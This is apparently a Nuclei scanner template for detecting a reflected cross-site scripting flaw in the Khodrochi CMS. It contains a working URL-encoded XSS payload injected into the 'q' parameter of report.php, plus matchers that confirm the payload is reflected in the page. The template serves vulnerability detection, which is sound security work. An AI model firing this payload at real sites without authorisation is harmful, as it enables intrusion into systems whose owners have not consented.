id: khodrochi-cms-xss

info:
  name: Khodrochi CMS - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A cross site scripting vulnerability was found in the Khodrochi.ir CMS an Iranian Car Services Platform.
  reference:
    - https://www.exploitalert.com/view-details.html?id=38723
    - https://cxsecurity.com/ascii/WLB-2022050087
  classification:
    cwe-id: CWE-79,CWE-83
  metadata:
    verified: true
    max-request: 1
  tags: khodrochi,cms,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/specification/report.php?q=%22%3E%3Cimg%20src=x%20onerror=prompt(document.domain)%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains(body, "class=\"cons_form") && contains(body, "><img src=x onerror=prompt(document.domain)>")'
        condition: and
# digest: 4a0a00473045022045df301ecefe9753cb0d688ad559fdf14aac57f9e8a3291a6d1a93791d1e12bf022100dd675cbbec53622701cf4a3200478a15393dca4f57e5912a5c2e91f3293fc49d:922c64590222798bb761d5b6d8e72950